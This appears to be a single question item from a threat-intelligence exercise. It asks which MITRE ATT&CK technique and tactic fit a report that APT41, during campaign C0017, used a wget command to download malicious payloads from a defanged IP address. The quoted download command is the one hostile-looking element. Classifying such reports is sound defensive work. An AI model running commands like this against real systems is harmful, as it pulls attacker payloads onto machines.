Please help to identify the following description belonging to which technique in MITRE and the corresponding tactics: During C0017, APT41 ran `wget http://103.224.80[.]44:8080/kernel` to download malicious payloads.